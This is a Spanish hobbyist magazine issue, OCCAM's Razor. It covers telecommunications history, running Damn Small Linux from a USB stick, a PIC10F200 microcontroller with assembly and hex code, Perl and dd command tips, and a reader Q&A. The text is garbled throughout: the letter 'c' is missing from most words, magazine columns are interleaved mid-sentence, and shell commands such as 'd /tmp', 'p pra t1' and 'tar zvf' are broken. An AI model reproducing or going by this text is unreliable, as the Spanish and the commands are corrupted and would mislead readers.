te nologa y eso permiti la rea in de dispositivos
ada vez ms pequeos, ables y de ms bajo onsumo.
Sho kley re ibi el premio Nobel en 1956. A pesar
de su indudable mrito se le re uerda omo un hombre polmi o. Realiz de lara iones ra istas en las que
dudaba de la apa idad intele tual de la raza negra.

Figura 6: Re eptor alemn de la d ada de

Fund una empresa en California pero o ho de sus in-

los 50

genieros la abandonaron por no soportar el ar ter


dif il de Sho kley (entre ellos estaban Robert Noy e
y Gordon Moore que despus fundaran Intel).

LA TELEVISIN

INTERNET
A propsito (repito que esta es una versin personal),
no he in luido el ordenador. Como he di ho mu has

De nuevo el prejo tele. TELEVISIN = Visin a

ve es: tele omuni a in no es informti a. Los inge-

distan ia (y asi dira: imagen a distan ia). Un vie-

nieros de tele omuni a in estudian mu ha informti-

jo ono ido, Ferdinand Braun, invent el os ilos opio

a y mu hos lo aprove han para trabajar en ello pero

(1897) y on l el tubo de rayos atdi os. Adems

nuestro trabajo es mover la informa in, no su trata-

fue fundamental el des ubrimiento de las propiedades

miento.

21| OCCAM's Razor

DOSSIER

Lo que s entra de lleno en el terreno de la tele o-

gundo servi io ms importante (o el primero).

muni a in es la omuni a in entre ordenadores o,

Los primeros sistemas de informa in (gopher,

di ho de una forma ms general, entre mquinas. En

wais ...) eran dif iles de usar. Tim Berners-Lee

la deni in original hablaba de omuni a in entre

desarroll la WWW en el CERN (Centro Euro-

personas, hoy en da la omuni a in entre mquinas

peo de investiga iones en fsi a avanzada) omo

es igual de importante (aunque detrs de una mquina

una forma agradable de ompartir textos ien-

siempre hay una o varias personas: sus usuarios).

t os. Fue lave el on epto de hipertexto (las

La red de omputadoras ARPANET (Advan ed Re-

palabras importantes pueden onvertirse en en-

sear h Proje ts Agen y Network) fue reada por en-

la es que llevan a otros textos pero no se altera

argo del Departamento de Defensa de los Estados

su posi in en el texto original). El xito del

Unidos omo medio de omuni a in para los diferen-

formato fue tal que hoy no slo se utiliza para

tes organismos del pas. El primer nodo se re en

presentar informa in sino para a eder a todo

la Universidad de California. En 1983 se naliz la

tipo de servi ios: omer iales, ldi os, ient-

transi in desde los primeros proto olos utilizados al

os... La posibilidad de usar las pginas Web

a tual (TCP/IP). A partir de ese momento el inters

omo interfaz de una base de datos abri un

en one tarse a esa red omenz a extenderse por todo

mundo innito.

el mundo dando lugar a la ar hi ono ida red INTERNET.


El equipo que desarroll la primera ARPANET estuvo
liderado por Bob Taylor y tuvo mu hos miembros desta ados omo Lawren e G. Roberts y Wesley A. Clark.
Estos ingenieros utilizaron ampliamente los trabajos
de Donald Davies y Paul Baran que haban espe ulado
sobre el on epto de onmuta in de paquetes.
Internet no sera nada sin los servi ios que ofre e a
sus usuarios, los ms desta ados son (siempre segn
opinin ma):

Los bus adores: el gopher fue probablemente el


primer bus ador de internet. Con el na imiento
de la WWW na ieron los bus adores Web mu ho ms f iles de usar y mu ho ms verstiles.
El primero fue Yahoo! un bus ador on estru tura de rbol (que al prin ipio se mantena asi
manualmente). Los readores de Yahoo! fueron
dos estudiantes de postgrado de Stanford: Jerry
Yang y David Filo. El segundo gran hito en los
bus adores Web fue google. Google se basa en el
algoritmo PageRank que lasi a las pginas

El orreo ele trni o: el servi io fundamental,

Web estadsti amente asignando a ada una la

todos los usuarios lo onsultan nada ms one -

probabilidad de que sea lo que realmente bus-

tarse. Se lo debemos a Ray Tomlinson. Primero

amos. La idea fundamental bajo PageRank es

desarroll un orreo interno entre los diferentes

que si bus amos pginas on la palabra Mar-

usuarios de un ordenador on mu has termina-

oni la ms interesante ser la que ms ve es

les. Despus el sistema evolu ion para omuni-

est enlazada desde otras pginas. Curiosamen-

ar usuarios de varias mquinas.

te, Google tambin fue desarrollado por otros

La World Wide Web (telaraa mundial): el se-

gey Brin y Larry Page.

dos estudiantes de postgrado de Stanford: Ser-

CUADRO 4: LOS PADRES DE LOS ORDENADORES


Aunque sea en un uadro, los padres del ordenador S mere en un homenaje: el on epto de la mquina
programable fue ideado por Charles Babbage en el siglo XIX. Entre 1820 y 1842 intent onstruirla de
diferentes formas, no lo logr.
Aqu podemos re ordar al ingeniero espaol Leonardo Torres Quevedo. Adems de importantes logros en
el diseo de telefri os y funi ulares, este ingeniero de aminos era un gran a ionado a los autmatas. A
prin ipios del siglo XX, onstruy la primera mquina apaz de jugar al ajedrez ontra un humano.
La arquite tura de los ordenadores utilizada hasta hoy fue estable ida por el matemti o hngaro John
Von Neumann.
El impulso denitivo lo dio un dis pulo de Von Neumann: Alan Turing. Turing trabaj para el gobierno
britni o durante la segunda guerra mundial en el entro militar de Blet hley Park. All onstruyeron la
omputadora llamada Colossus y tambin la Bombe que sirvi para romper los digos de la mquina que utilizaba el ejr ito nazi para ifrar sus omuni a iones (la famossima Enigma, una mquina
ele trome ni a que se basaba en el giro de mu hos dis os on ara teres desordenados).
Turing tuvo una vida infeliz y atormentada, fue pro esado por el delito de mantener rela iones homosexuales y muri envenenado en extraas ir unstan ias (la versin o ial lo registr omo sui idio aunque
no termin la manzana ontaminada on ianuro).
Despus de Blet hley Park los norteameri anos J.P. E kert y J.W. Mau hly rearon ENIAC, omputador
diseado para al ular traye torias de proye tiles.

OCCAM's Razor | 22

DOSSIER

LAS TEORAS
Y ahora vamos a repasar las teoras... Una buena pregunta es Por qu vienen despus? Realmente, es porque se me o urri in luirlas aparte uando ya haba
empezado on los inventos. Alguien puede pensar que
tengo tenden ia a valorar ms las investiga iones pr ti as, puede ser que s y que mi in ons iente me haya
trai ionado. Re ordad:
A ve es, el ser humano ve la punta del i eberg y puede aprove harla ( rear un invento o desarrollo til).
As se empezaron a explotar los sistemas el tri os
sin omprender bien sus leyes. Sin embargo si no se
desarrolla una teora que explique el i eberg ompleto, nun a se dominar realmente el fenmeno ni se
aprove har ms que super ialmente.

LA TRANSFORMADA DE FOURIER Y
EL ANLISIS ESPECTRAL
Jean-Baptiste-Joseph Fourier (na ido en Auxerre en
1768, muerto en Pars en 1830 en Pars) tuvo una vida ajetreada omo militar y polti o en la po a de
Napolen.

muni a in onsidera tan natural manejar las transforma iones de Fourier omo sumar y restar. Podramos de ir que es la teora fundamental que permite
analizar todas las seales y su pro esado.
Las transformadas de Fourier permiten entender las
modula iones usadas en radio y televisin. Permiten
prede ir las onse uen ias que algunos pro esados que
ha e el sistema telefni o van a tener sobre la voz... Si
tuviramos que elegir un patrn humano de la tele omuni a in Fourier sera un serio andidato (Nuestro
patrn o ial (y divino) es el ar ngel Gabriel, el mensajero).

LAS ECUACIONES DE MAXWELL Y LA


TEORA ELECTROMAGNTICA
James Clerk Maxwell (na i en Edimburgo en 1831
y muri en Glenlairen 1879) fue el padre de la teora
matemti a del ele tromagnetismo. La in reble mente matemti a de Maxwell fue apaz de estudiar la
obra de mu hos investigadores anteriores (Volta, Ampere, Faraday ...) y resumir sus experimentos en uatro e ua iones (e ua iones de Maxwell).

Sin embrago hoy lo re ordamos por su ontribu in a


la ien ia. Este hombre polifa ti o estudi la propaga in del alor y des ubri que toda fun in peridi a, ontinua o no, se puede expresar omo una serie de
fun iones senoidales (teorema de Fourier). Este resultado fue muy riti ado por otros ient os de la po a
omo Lagrange o Lapla e que defendan que era imposible obtener una fun in dis ontinua sumando otras
ontinuas (realmente, s que es posible si la suma es
innita).
Si embargo este resultado abri todo un mundo de
la matemti a apli able a mu has ien ias y ono ido
omo anlisis espe tral. La serie de Fourier (y su versin para fun iones aperidi as: la transformada de
Fourier) es otra forma de representar ualquier fun in que puede ser til para mu hos estudios y para
resolver algunas opera iones que de otra forma seran
ex esivamente omplejas ( omo resolver algunas e ua iones diferen iales).

Figura 8: James Clerk Maxwell


Desde que Maxwell estable i sus e ua iones todos los
estudios sobre ele tromagnetismo (antenas, ondas libres, ondas guiadas ...) han onsistido en resolverlas
en diferentes entornos.
Albert Einstein des ribi el trabajo de Maxwell omo .el ms profundo y prove hoso que la fsi a ha ex-

perimentado desde los tiempos de Newton". En mi


opinin, el genio alemn re ordaba que al ular traye torias, velo idades, fuerzas.. no fue un problema
desde que se enun iaron las leyes de Newton, al igual
que el l ulo ele tromagnti o qued denido por las
uatro e ua iones de Maxwell.
Maxwell sera sin duda un buen andidato al ttulo de
patrn de las tele omuni a iones. No me preguntis si
voto por l o por Fourier, no sabra qu de ir.

LA TEORA DE LA INFORMACIN
Figura 7: Joseph Fourier

Durante mu ho tiempo (pr ti amente desde que se


fund la Es uela de Madrid en 1931 hasta los aos 80)
la preo upa in prin ipal del ingeniero de tele omuni-

El anlisis espe tral es importante para la fsi a, la

a in era transmitir y/o pro esar las seales bsi as

astronoma y mu has otras ien ias. Para la tele o-

de la omuni a in humana dire ta: voz, sonido (que

muni a in es fundamental. Todo ingeniero de tele o-

es una seal ms ri a que la voz) e imagen.

23| OCCAM's Razor

DOSSIER

Sin embargo, desde Morse, existe otro tipo de seal:

transmitir sobre un anal si, y solamente si, la magni-

los datos. Aunque, omo digo, existieron siempre la

tud de la fuente no ex ede la apa idad de transmisin

preo upa in por los datos se dispar on los orde-

del anal que la ondu e, y sent las bases para la o-

nadores y la posibilidad de omuni arlos (telemti a,

rre in de errores, supresin de ruidos y redundan ia.

ver apartado de internet).

Claude Elwood Shannon falle i el 24 de febrero del

As omo la teora para estudiar las seales de audio o

ao 2001, a la edad de 84 aos. Durante sus ltimos

imagen es muy antigua (y basada en la transformada

aos sufri la terrible enfermedad de Alzheimer que

de Fourier). Hasta 1948 no se publi una teora que

destruy su privilegiada mente.

ara terizara matemti amente los datos. Esa nueva

Shannon sin duda debera ser otro andidato a pa-

ien ia se llam Teora de la Informa in y su padre

trn... Tiene quizs un handi ap: reo (y slo es una

fue Claude Shannon.

opinin) que la mayora de los ingenieros re ordamos

Shannon era ingeniero el tri o por la Universidad de

la teora de la informa in omo una dis iplina rida

Mi higan y realiz una tesis do toral en el MIT (Ins-

y dif il de estudiar. Sin embargo, eso no debera res-

tituto de Te nologa de Massa hussets) donde estudi

tarle mrito a una de las grandes mentes del siglo XX

las apli a iones del lgebra booleana (o binaria) a la

y uno de los padres de la te nologa digital.

onmuta in y a los ir uitos digitales (ver Cuadro

FINAL

5.1).
Shannon pas quin e aos en los laboratorios Bell (ver
Cuadro 5.2), donde trabaj on grandes ient os o-

Para terminar re ordaros que sta es una sele in

mo Harry Nyquist (padre de la teora que permite di-

personal. Seguro que todos pensis que me he olvida-

gitalizar seales (ver Cuadro 5.3), o William Bradford

do de alguien o algo. O tal vez que he in luido algo de

Sho kley (inventor del transistor).

menor importan ia al resto. Todas las propuestas son

Fu en este periodo uando Shannon desarroll la teo-

vlidas. Seguro que si yo mismo releo el art ulo dentro

ra de la informa in publi ando el libro na Teora

de un par de meses de ido ambiar algo. Comentarios

Matemti a de la Comuni a in". En este trabajo se

a: fmartinuvigo.es.

demostr que todas las fuentes de informa in (tel-

El apartado de bibliografa es muy orto. Todos los

grafo el tri o, telfono, radio, la gente que habla, las

datos: fe has, nombres (algunos de ompli ada orto-

maras de televisin, ...) se pueden medir y que los

grafa)... pro eden de la en i lopedia libre Wikipedia

anales de omuni a in tienen una unidad de medida

(http://es.wikipedia.org). A lo mejor, deberamos in-

similar. Mostr tambin que la informa in se puede

luirla omo un importante hito.

CUADRO 5: MS INFORMACIN

1. Los ir uitos digitales no trabajan on seales ontinuas omo los analgi os. Se trata de
tratar on valores numri os generalmente expresados en base 2 (los dgitos posibles son 0
1, un dgito binario se llama bit: binary digit). Si os a un ingeniero fran s hablar de
televisin o telefona numri as se reere a sistemas digitales (in luso hay libros tradu idos
del fran s que hablan de sistemas numri os). No os pare e que numri o es un trmino
que di e mu ho ms que digital?
2. S, s, lo que pensis: el departamento de investiga in de la empresa que fund Alexander
Graham Bell. Hoy da el gobierno norteameri ano oblig a su divisin (para evitar monopolios) dando lugar a: Lu ent Te hnologies, AT&T, Bell Atlanti , Southern Bell, Pa i Bell y
seguro que se me es apa alguna.
3. Publi ada en 1928 en el art ulo Certain topi s in Telegraph Transmission Theory. Ahora
se ono e omo teorema del muestreo o teorema de Nyquist (en algunos libros teorema de
Nyquist-Shannon).

OCCAM's Razor | 24

DISTROS

GNU/Linux en USB

Como llevar nuestro sistema en el bolsillo


por Er Viajante

Aqu tendremos que es oger si el dispositivo va a

arran ar on bios USB-ZIP o USB-HDD. Esto ya de-

u te pare era llevarte tu sistema GNU/-

Linux a ualquier parte, guardadito en un bol-

sillo o en un sobre de papel... que si, que no...

pender del sistema nal en el que se vaya a eje utar


y el soporte que de su BIOS para el arranque desde
dispositivos USB.

Pedimos dis ulpas por esta regresin infantil. En


este art ulo os vamos a ontar omo instalar un
sistema GNU/Linux ompleto en una memoria
USB para poder usar vuestro sistema operativo
favorito en ualquier ordenador.

 DSL es una de las distribu iones


Linux ms pequea y que ofre e
un onjunto de herramientas bastante ompleto

Una de las ventajas que tienen los sistemas GNU/Linux es que se pueden personalizar hasta extremos
in on ebibles. Uno de estos asos es la mini distribu in DSL (http://www.damnsmalllinux.org/) tam-

bin ono ida omo Damn Small Linux, lo que se podra tradu ir por Linux Malditamente Pequeo o algo
ms fuerte.

Segn la do umenta in de

syslinux

el modo re o-

mendado es USB-HDD, sin embargo, iertas BIOS solo soportan el modo USB-ZIP en el que la tabla de
parti iones del dispositivo USB debe tener un formato
espe ial. Los ordenadores modernos suelen soportar el

POR QU DSL?

sistema USB-HDD, pero si no ests seguro omprueba

Buena pregunta (y no es porque la haya he ho yo :).

EXTENSIONES MYDSL

en tu BIOS qu tipos estn soportados.


Para asegurar, usa dos memorias USB :)

En realidad, hoy por hoy, existen un montn de distribu iones que se pueden instalar en un dispositivo de
alma enamiento USB de forma sen illa y realmente no
hay mu ha diferen ia entre utilizar unas u otras. De
todas formas, respondiendo a la pregunta, podemos
de ir:

Como omentbamos ms arriba, la mini-distro DSL


propor iona un sen illo sistema de extensiones ono idas omo myDSL. En la propia web de DSL se mantiene un repositorio on varias apli a iones empaquetadas utilizando este sistema. Comentaros que exis-

De todas las que probamos fue la que dio menos

ten otros dos tipos de extensiones que puede manejar

problemas.

DSL: .u i y tar.gz. No las vamos a dis utir en este

Est basada en knoppix, utilizando su sistema


de dete in de hardware que nos ofre e ierta
seguridad de que fun ionar en la mayora de los
ordenadores.

en RAM omo lo que vuela.


un

El propio sistema DSL in orpora una herramienta gr a para el manejo de estas extensiones que podis
en ontrar en el men:
Appli ationsToolsmyDSL Extension Browser

Es muy pequea y se puede argar totalmente

Tiene

art ulo pero siempre est bien saberlo.

sistema de

paquetes de

Estas extensiones tambin pueden ser argadas uando el sistema arran a, ya sea ongurando los parme-

extensin

myDSL muy sen illo de utilizar.

tros de arranque del sistema o simplemente opiando


los  heros .mydsl que nos interesen en el dire torio
raz del dispositivo USB.

LA FORMA FACILSIMA
La forma ms sen illa de instalar DSL en un dispositivo externo USB es la siguiente:
Arran a on el Live-CD que puedes des argarte
de

http://www.damnsmalllinux.org/

Sele iona el men instalar en dispositivo USB


pulsando on el botn dere ho sobre el es ritorio
(App

Tools

Install to Pen-Drive)

25| OCCAM's Razor

DISTROS

CREANDO EXTENSIONES
Una tarea interesante es rear nuestras propias extensiones, de forma que podamos instalar nuestros programas en el dispositivo USB para eje utarlos en otra
mquina, por ejemplo, a modo de demostra in.
Los paquetes myDSL son simples  heros tar.gz que
se des omprimen desde el dire torio raz, omo la mayora de los sistemas de paquetes. A modo de ejemplo,
vamos a rear un paquete para nuestras pr ti as de
laboratorio de programa in intempestiva. Los pasos
a seguir seran estos:

#
#
#
#
#
#

d /tmp
mkdir -p pkg/usr/lo al/bin
mkdir -p pkg/usr/lo al/sr
p pra t1 par t2 par t3 pkg/usr/lo al/bin
p pra t1. par t2. par t3. pkg/usr/lo al/bin
tar zvf intemps.dsl ./pkg

O si hemos sido pre avidos y utilizado las Autotools


de GNU...

#
#
#
#

./ onfigure --prefix=/tmp/pkg
make && make install
d /tmp
tar zvf intemps.dsl ./pkg

Lo que nos simpli a un montn las osas, sobre todo


en uanto empezamos a tener libreras, eje utables,
 heros de ongura in, do umenta in, et ...

OTRAS VENTAJAS

en memoria RAM, on lo que onseguimos que nuestro sistema no tenga que a eder al dispositivo USB
para nada y por tanto se eje ute mu ho ms rpido.
Para utilizar esta op in, solamente tenemos que pasar el parmetro

toram al sistema utilizando el prompt

que se nos propor iona en la pantalla de arranque.


Otra op in interesante es que DSL in luye

qemu, una

mquina virtual apaz de simular un PC ompleto.


Esto permite a DSL arran ar en una ventana dentro
de una sesin Windows, on lo ual podremos utilizar
nuestro sistema in luso si la mquina no dispone de
op iones de arranque por USB o CD-ROM.
Finalmente, omentar que DSL tambin se puede instalar omo un Live-CD, es de ir, omo un sistema apaz de arran ar desde un CD-ROM sin ne esidad de
instalar ningn  hero en nuestro dis o duro, lo que
se onvierte en una interesante op in si una determinada mquina no dispone de la op in de arranque
USB.
Lo interesante de este Live-CD y de donde toma
el nombre esta distribu in, es que solamente o upa
50Mb, por lo que puede grabarse en un CD de 23 min,
de esos pequeitos, e in luso en los promo ionales on
forma re tangular y tamao de tarjeta de visita.

HASTA LA PRXIMA
En este art ulo os hemos ontado algunas de las posibilidades que ofre en las nuevas distribu iones de
GNU/Linux, entrndonos en un aso on reto: DSL.
Como omentbamos existen mu has otras y las posibilidades de personaliza in de estos sistemas son

Adems de todo lo omentado hasta el momento, DSL

realmente in rebles. No dudis en enviarnos historias

tiene un par de ara tersti as muy interesantes. La

sobre omo utilizis vosotros estas herramientas.

primera de ellas es la op in de argar todo el sistema

Hasta el prximo nmero.

OCCAM's Razor | 26

ELECTRNICA

PIC10F200

EL MS PEQUE DE MICROCHIP

por Carlos Rodrguez Alemparte

tena un pedido de unos 600 euros asi, on lo ual los


12.50 euros de portes no eran muy signi ativos. Lo
prin ipios del 2.006 llegaron a mis manos

realmente interesante es que tenemos un mi ro on-

las primeras muestras de este mi ro ontrolador,

trolador reprogramable on toda su inteligen ia por

ortesa del fabri ante yanki de Arizona MICRO-

menos de medio Euro, s, menos de 0.50 euros.

CHIP. Desde ha e unos 5 aos vengo probando ya unos uantos tipos de mi ro ontroladores
PIC, pero tengo que re ono er que este ha sido
uno de los que ms ha despertado mi uriosidad desde el momento en que vi el tipo de produ to que era en la pgina web de Mi ro hip:

Por menos de 50 ntimos de euro puedes onseguir todo un mi ro ontrolador

www.Mi roChip. om
Ya han pasado unos meses y, evidentemente, la osa
Esta gente estaba apostando por un mi ro ontrolador
de presta iones asi rid ulas, po o menos que te daba la risa al ver el tipo de arquite tura que tena. Sin
embargo, al mismo tiempo, te quedabas prendado de
esa simpli idad asi mxima, y al instante la siguiente
pregunta era: Bueno, ... y esto ... unto uesta?
Pues la respuesta fue que el PIC10F200 se poda onseguir al pre io de 47 ntimos de euro si peda una
tandada de 26 unidades junto on otro pedido lo su ientemente grande omo para que los portes de envo
no enmas arasen el pre io del produ to. Yo la verdad

no ha ido a ms, y me reero al pre io. Ahora, en


el mes de Noviembre del 2.006 lo podemos onseguir
por 36 ntimos a partir de 100 unidades omprando
en Mi ro hip Dire t, o sea, dire tamente al fabri ante,
osa que ya es posible desde ha e unos 2 aos en Espaa, on lo ual el intermediario que le gana un pastn
a este material queda fulminado de la adena omer ial de in remento de ostes, otro efe to bene ioso
de la globaliza in (y no digo que todos lo sean, ...).
A ontinua in, una aptura de pantalla de la pgina
de ompra de Mi roChip Dire t para el 10F200:

27| OCCAM's Razor

ELECTRNICA

Pgina de Compra de Mi ro hip

EL PATILLAJE
En la siguiente imagen podemos ver un esquema del
patillaje del 10F200, on sus 4 puertos de entrada/salida. Salvo el GP3, que slo puede fun ionar omo
entrada o pin de RESET por nivel bajo, segn se ongure, ualquiera de los otros 3 pines se puede ongurar omo entrada o omo salida. Adems en estos 3
ltimos pines (GP2, GP1 y GP0) se puede olo ar un
pull-ip interno de unos 10 K, evitando omponentes
externos.

al menos 40 aos, segn Mi roChip.


Care e de memoria EEPROM y slo permite anidar
2 ve es la instru in CALL, o sea, la ter era vez que
hagamos un CALL sin un RETLW, nos vamos a las
quimbambas y a partir de ah es omo jugar a la
lotera.
Cuenta on interrup iones, aunque el ve tor de interrup in oin ide on el ve tor de RESET, o sea que
... , al saltar una interrup in en realidad el mi ro se
resetea y slo disponemos de unos bits de estado espe iales en el registro STATUS para enterarnos de si
a abamos de ini iar la eje u in ( arranque o Reset )
o si salt una interrup in. La verdad es un pequeo
engorro, estando a ostumbrado a los 12F y 16F on
el ve tor de interrup in en la dir 04 de la FLASH, y
on 8 niveles de anidamiento.

El PIC10F200 propor iona una


pila de solo 2 posi iones

Patillaje del PIC10F200


Una op in interesante para el pin GP2 es la de sa ar una rpli a del os ilador interno dividido por 4. El
PIC10F200 tiene un os ilador interno de 4 MHz que le
permite pro esar instru iones a 1 MIP ( en general,
ya que los ambios de ujo, omo GOTO o CALL por
ej., onsumen lo mismo que 2 instru iones normales).
Esa seal uadrada de 1 MHz puede ser muy til para
multitud de apli a iones.

ALGUNAS APLICACIONES
As y todo, para ha er multitud de tonteras sigue

siendo un mi ro muy til y vlido. Yo la 1

apli a in

interesante que le he dado ha sido la de argar los registros de un PLL de a eso por bus serie de 3 hilos
( Lat h Enable, Clo k y Data ) para un ADF4360 de
Analog Devi es, para un trabajito para Fernando Isasi, otro entusiasta del Hardware de la Universidad de
Vigo, y padrino te nolgi o de mu hos de nosotros.

Y la 2

fue la de se uen iar unos digos de destellos

INSTRUCCIONES Y MEMORIA

para una baliza pti a on 1 LED LUXEON III, para

El PICF200 uenta on 256 instru iones de FLASH,

polti a a tual que fomenta la Investiga in y el Desa-

un prototipo para el CIS ( Centro de Investiga iones


Submarinas ), otra empresa gallega al alza gra ias a la

lo que nos permite darle hasta 256 rdenes, del tipo

rrollo te nolgi os. Bueno, espero que mi to ayo del

GOTO, CALL, MOV, SWAP, BTFSS, RET, et . La

CIS a abe usando esos LUXEONs en algn produ to

FLASH se puede reprogramar hasta unas 100.000 ve-

omer ial.

es, on una reten in en las eldillas de la FLASH de

OCCAM's Razor | 28

ELECTRNICA

UN EJEMPLO

Es una aptura de pantalla de un simulador bastante

Y omo la teora est muy bien, pero yo soy un el


defensor de la pr ti a y las osas palpables entre los
dedos, a ontinua in ponemos un pequeo digo
fuente en ASM para empezar a ha er pinitos on el
10F200.
Lo que ha e es una parida (una trivialidad, para los
que no entienda el trmino): el programa ongura los
puertos de entrada y salida del PIC, a tiva la salida

bueno para mi ro ontroladores PIC, aunque por desgra ia tiene una interfaz on el usuario que podra
llevarse todos los primeros premios habidos y por haber para el programa informti o menos intuitivo del
mer ado. La verdad es que an no he ono ido a nadie que haya logrado no abrearse al empezar a ha er
osas on el Proteus, lo ual tiene mrito (negativo...,
pero mrito).

de la onda uadrada de 1 MHz en el GP2 y despus


se pone a hequear un pulsador one tado a un pin
de entrada del PIC, en el GPIO Cero, ha iendo un
e o de este pin de entrada sobre el LED one tado al
GPIO1, ongurado omo salida.
El pulsador dispone de un pull-up interno en el PIC
de unos 10 K que tambin a tivamos previamente, lo
ual nos evita poner uno externo.
El digo mquina ompilado es tan sen illo omo el
que sigue, en formato .hex, lo pongo porque puede ser
til para quien no est familiarizado on el MPLAB
(el ensamblador de Mi ro hip):

:020000040000FA
:100000007000090C06000F0C020005050607260407
:0600100006062605060AA3
:021FFE00EB0FE7
:00000001FF
Y a ontinua in un esquema para ver on laridad lo

Bueno, y sin ms ... un saludo para todo el grupo del


GPI de la Universidad de Vigo, y para los del Laboratorio 303 de Ingeniera de Radio. Si alguien tiene
alguda duda o sugeren ia ya sabe:
Phone: 649 12 69 62
Mail:

CarlosAlemparteuvigo.es

que debemos de montar para probar ese digo fuente


on el 10F200.

;
;
;
;
;

PROGRAMA de MUESTRA para e l 10F200 by EB1IVJ ,


Carlos R. Alemparte , Nov 2006
Este programa ha e un e o de un pu lsador en GPIO_0 sob re un LED en GPIO_1 y sa a
por GPIO2 una onda uadrada de 1 MHz, t i l omo o s i l a d o r

LIST

P=10F200 ; m i k rok ontrolador PIC k usamos

__CONFIG

_CP_OFF & _WDT_OFF & _MCLRE_OFF & _IntRC_OSC

#in lude <p10F200.in >


#d e f i n e
#d e f i n e

PULSADOR GPIO, 0
LED
GPIO, 1

; pin 1
; pin 3

; RAM d i s p o n i b l e : Desde H ' 10 ' hasta H'1F ' , s l o 16 BYTEs


EQU 0 x10 ; ponemos e s t o para v e r omo se asi g na un nombre a una v a r i a b l e

UNA_VARIABLE

INI

ORG 0000H
CLRF UNA_VARIABLE
MOVLW B ' 00001001 '

TRIS GPIO
MOVLW B ' 00001111 '
OPTION
BSF

OSCCAL, FOSC4

;
;
;
;
;

monta l a s i n s t r u i o n e s a p a r t i r de l a d i r H'0000 ' de l a FLASH


no v a l e para nada , e s para v e r omo se borra una p o s i i n de RAM
GPIO3=IN GPIO2=OUT GPIO1=OUT GPIO0=IN ;
1 s pa ENTRADAs y 0 s pa SALIDAs
l o mismo que MOVWF TRISIO
; GP3 e s s l o ENTRADA

;
;
;
;

h a b i l i t a m o s P u ll Up i n t e r n o para GPIO, e ntre o t r a s osas


e s t a i n s t r u i n t r a n s f i e r e W a OPTION,
que e s un r e g i s t r o "fantasma "
O s i lador i n t e r n o de 4 MHz/4 = 1 MHz OUTPUT, se sa a por e l GP2

BUKLE BTFSS PULSADOR


BCF LED
BTFSC PULSADOR
BSF LED
GOTO BUKLE
END

; i n d i a a l ensamblador e l f i n a l d e l di g o f u e n t e

Cdigo ASM de nuestro ejemplo

29| OCCAM's Razor

TRUCOS

Con un par... de lneas

Chuletillas para ha er osas m rpido


por Tamariz el de la Perdz

PROCESANDO TEXTO CON PERL EN GENERAR GRFICOS A PARTIR DE FIUNA LNEA


CHEROS DE TEXTO
Aunque el omando grep fun iona perfe tamente, pue-

A partir de un  hero de texto que ontenga una o-

de ser til simularlo utilizando una lnea de digo

lumna de datos, podemos obtener rpidamente una

Perl.

representa in gr a de los mismos utilizando la he-

perl

rramienta

' w h i l e (<>) { p r i n t i f / hola / ; } ' mi_fi hero

O de forma ms breve utilizando el ag -n que simplemente omparando estos dos ejemplos sabris qu
ha e.

perl

ne

' p r i n t i f / hola / ; ' mi_fi hero

gnuplot

utilizando los siguientes oman-

dos:

# w l t e x t . dat
25
# gnuplot
gnuplot > p l o t [ t =1:25 " t e s t . t x t " u s i n g ( $2 )
Si nuestro  hero tuviera dos olumnas en las que la

Vamos on un ejemplo un po o ms til. Supongamos

primera representa los valores de abs isas, la siguiente

que tenemos un  hero on datos ordenados en olum-

se uen ia de instru iones gnuplot mostrara la gr-

nas y queremos quedarnos solamente on la primera

a. Adems, en este aso, los distintos puntos se unirn

(el valor de ordenadas) y la ter era, digamos que pa-

utilizando lneas re tas (parmetro

ra ha er una representa in gr a solamente de esos

# w l t e x t . dat
25
# gnuplot
gnuplot > p l o t " t e s t . t x t " u s i n g ( $1 ) : ( $2 ) with l i n e s

datos. El siguiente s ript:

p e r l e ' w h i l e (<>) {v=s p l i t ;


> p r i n t "$v [ 0 \ t$v [ 2 \ n "} ' mi_fi hero
Aunque lo podramos haber he ho on

awk

on una

with lines).

Enva tus tru os

lnea omo

Puedes enviarnos esos tru os que usas a diario para

at mi_fi hero | awk -e '{print \$1,\$2}'

ompartirlos on el resto de le tores a la dire in:

CREAR IMAGEN CD Y ACCEDER A EL

o ams-razoruvigo.es

El siguiente tru o nos permite generar una imagen


exa ta de un CD y a eder a ella. Las siguientes lneas ha en el trabajo poniendo el ontenido el CD en
el dire torio /mnt/temp.

#
#
#
#

dd i f =/dev/ drom o f=mi_imagen . i s o


mount o loop mi_imagen . i s o /mnt/tmp
...
umount /mnt/tmp

Re uerda que debes ser root para eje utar los omandos del ejemplo 3 y no olvides desmontar el dispositivo
uando hayas terminado on l.

MANEJAR CARACTERES DE CONTROL EN VIM


En o asiones es ne esario manejar ara teres de ontrol dentro de  heros de texto, por ejemplo, para insertar o sustituir tabuladores. La forma de introdu ir
ara teres omo el tabulador en el modo omando del
vim es pulsar la ombina in de te las

CONTROL + V y

luego pulsar la te la del ar ter que se desea utilizar


(return, bs, TAB,...).

OCCAM's Razor | 30

CONSULTORIO

Pregntale a OCCAM

Todo lo que nun a quiso saber y s se atrevi a preguntar


por The O am's Razor Team

El mti o Nmero Zero

1. Ignora

las

seales

SIGCHLD

utilizando el omando

Sigo vuestra publi a in desde el prin-

(SIGCHLD, SIG_IGN);

ipio y estoy en antada on los onte-

signal

Linux sin Linux


Una para O am. Me gustara saber si
puedo utilizar UNIX y todas estas o-

nidos que in lus en ada entrega. Sin

2. In orpora un manejador de la

embargo, no onsigo en ontrar el le-

seal SIGCHLD a tu programa

gendario nmero Zero de O am's Ra-

para enterarte de la muerte de

zor. He odo hablar de l en varios fo-

ada uno de tus hijos, y as po-

ros un tanto ominosos, y me en anta-

der esperar a que la palmen del

ra onseguirlo para ompletar mi o-

todo on un

sas tan hulas de las que hablais en la


revista sin tener que instalar uno.

Lina Porgan

wait

Lapatalo a

le in de O am's Razor.
Una Tauro
Talavera

Empezando on Linux

Querida razor, quiero introdu irme en

Querida Tauro de Talavera, no me

el mundo linux, pero sigo ne esitando

seas alavera. El amino ha ia el Ze-

usar mi Windows a tual, puedo tener

ro es tortuoso y lleno de penurias, no

las dos osas en mi P ??

Hola Lina Porgan. Claro que puedes.


Lo ms sen illo es que instales Cygwin. Cygwin es un entorno estilo linux para windows que ontiene la mayora de las herramientas disponibles

apto para ualquiera. Profundiza en

en un sistema linux. La instala in es

tu interior, y uando llegues a lo ms


hondo de tu esen ia, enton es, y solo

Jenny

enton es, en ontraras el amino ha ia

Windowsland

el Zero.

muy sen illa, solo sigue las instru iones que te dan en:

http://www. ygwin. om/

Pero no te entretengas en tu bsqueda. Re uerda que tras el Zero, esta el


menos uno, el menos dos, . . .

Esas riaturas

ner los dos sistemas en tu PC. Para

